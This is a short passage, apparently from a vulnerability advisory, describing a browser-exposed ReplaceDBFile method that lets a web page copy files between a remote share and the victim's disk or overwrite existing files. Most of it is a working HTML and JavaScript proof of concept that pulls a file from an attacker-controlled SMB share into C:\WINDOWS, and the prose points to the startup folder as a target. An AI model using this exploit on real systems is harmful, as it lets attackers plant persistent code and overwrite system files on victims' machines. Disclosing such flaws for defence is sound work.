A malicious user may be able to use this to copy a file from an attacker controlled share to the target or from the target to an attacker controlled system (ie from an attacker share to the startup folder). It can also be used to overwrite existing files.</p> <input type=button onclick="copyfile()" value="Do It!"> <script> function copyfile() { var file1 = "\\\\192.168.1.165\\share\\poc.txt"; //source var file2 = "c:\\WINDOWS\\poc.txt"; //destination result = target.ReplaceDBFile(file1,file2); } </script> |
